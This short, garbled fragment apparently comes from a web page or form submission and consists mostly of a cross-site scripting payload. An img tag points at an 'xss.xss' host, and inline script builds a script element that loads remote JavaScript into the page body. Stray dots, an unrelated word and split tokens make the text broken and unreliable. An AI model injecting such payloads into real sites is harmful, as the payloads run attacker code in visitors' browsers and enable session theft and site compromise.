..
...
friends
img src="http://xss.xss/xss.jpg" x='
.."var x=document.createElement('script');x.src='http://www.../.../ test.js';document.getElementsByTagName('body')[0].appendChil d(x);" /
